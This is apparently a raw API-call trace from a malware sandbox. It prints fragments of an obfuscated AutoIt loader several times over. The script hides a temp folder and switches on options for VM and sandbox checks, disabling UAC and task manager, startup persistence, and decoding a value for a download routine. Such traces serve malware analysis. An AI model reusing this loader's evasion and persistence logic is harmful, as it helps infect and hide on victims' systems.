0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir &", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.200] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' 